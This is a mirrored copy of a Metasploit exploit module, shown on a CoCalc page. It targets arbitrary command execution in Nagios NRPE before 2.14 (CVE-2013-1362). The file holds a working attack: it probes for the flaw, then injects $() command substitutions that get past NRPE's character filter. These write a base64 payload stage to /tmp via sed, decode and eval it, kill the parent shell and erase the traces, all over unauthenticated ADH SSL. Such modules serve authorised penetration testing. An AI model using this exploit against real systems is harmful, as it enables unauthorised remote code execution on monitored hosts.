CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
#
6
7
require 'zlib'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::Tcp
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
17
'Description' => %q{
18
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
19
Nagios server to actively poll information from the hosts it monitors. NRPE
20
has a configuration option dont_blame_nrpe which enables command-line arguments
21
to be provided remote plugins. When this option is enabled, even when NRPE makes
22
an effort to sanitize arguments to prevent command execution, it is possible to
23
execute arbitrary commands.
24
},
25
'Author' =>
26
[
27
'Rudolph Pereir', # Vulnerability discovery
28
'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
29
],
30
'References' =>
31
[
32
[ 'CVE', '2013-1362' ],
33
[ 'OSVDB', '90582'],
34
[ 'BID', '58142'],
35
[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'Payload' =>
41
{
42
'DisableNops' => true,
43
'Compat' =>
44
{
45
'PayloadType' => 'cmd',
46
'RequiredCmd' => 'perl python ruby telnet',
47
# *_perl, *_python and *_ruby work if they are installed
48
}
49
},
50
'Targets' =>
51
[
52
[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]
53
],
54
'DefaultTarget' => 0,
55
'DisclosureDate' => '2013-02-21'
56
))
57
58
register_options(
59
[
60
Opt::RPORT(5666),
61
OptEnum.new('NRPECMD', [
62
true,
63
"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",
64
'check_procs',
65
['check_procs', 'check_users', 'check_load', 'check_disk']
66
]),
67
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
68
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
69
])
70
end
71
72
def send_message(message)
73
packet = [
74
2, # packet version
75
1, # packet type, 1 => query packet
76
0, # checksum, to be added later
77
0, # result code, discarded for query packet
78
message, # the command and arguments
79
0 # padding
80
]
81
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
82
begin
83
self.sock.put(packet.pack("nnNna1024n")) #send the packet
84
res = self.sock.get_once # get the response
85
rescue ::EOFError => eof
86
res = ""
87
end
88
89
return res.unpack("nnNnA1024n")[4] unless res.nil?
90
end
91
92
def setup
93
@ssl_socket = nil
94
@force_ssl = false
95
super
96
end
97
98
def exploit
99
100
if check != Exploit::CheckCode::Vulnerable
101
fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
102
end
103
104
stage = "setsid nohup #{payload.encoded} & "
105
stage = Rex::Text.encode_base64(stage)
106
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
107
command = datastore['NRPECMD']
108
command << "!"
109
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
110
# need a way to write to a file without using redirection (>)
111
# cant count on perl being on all linux hosts, use GNU Sed
112
# TODO: Probably a better way to do this, some hosts may not have a /tmp
113
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
114
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
115
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
116
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
117
command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
118
command << "$(rm -f /tmp/$$))" # clean the file with the stage
119
connect
120
print_status("Sending request...")
121
send_message(command)
122
disconnect
123
end
124
125
def check
126
vprint_status("Checking if remote NRPE supports command line arguments")
127
128
begin
129
# send query asking to run "fake_check" command with command substitution in arguments
130
connect
131
res = send_message("__fake_check!$()")
132
# if nrpe is configured to support arguments and is not patched to add $() to
133
# NASTY_META_CHARS then the service will return:
134
# NRPE: Command '__fake_check' not defined
135
if res =~ /not defined/
136
return Exploit::CheckCode::Vulnerable
137
end
138
# Otherwise the service will close the connection if it is configured to disable arguments
139
rescue EOFError => eof
140
return Exploit::CheckCode::Safe
141
rescue Errno::ECONNRESET => reset
142
unless datastore['NRPESSL'] or @force_ssl
143
vprint_status("Retrying with ADH SSL")
144
@force_ssl = true
145
retry
146
end
147
return Exploit::CheckCode::Safe
148
rescue => e
149
return Exploit::CheckCode::Unknown
150
end
151
# TODO: patched version appears to go here
152
return Exploit::CheckCode::Unknown
153
154
end
155
156
# NRPE uses unauthenticated Anonymous-Diffie-Hellman
157
158
# setting the global SSL => true will break as we would be overlaying
159
# an SSLSocket on another SSLSocket which hasnt completed its handshake
160
def connect(global = true, opts={})
161
162
self.sock = super(global, opts)
163
164
if datastore['NRPESSL'] or @force_ssl
165
ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
166
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
167
ctx.ciphers = "ADH"
168
169
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
170
171
@ssl_socket.connect
172
173
self.sock.extend(Rex::Socket::SslTcp)
174
self.sock.sslsock = @ssl_socket
175
self.sock.sslctx = ctx
176
end
177
178
return self.sock
179
end
180
181
def disconnect
182
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
183
super
184
end
185
end
186
187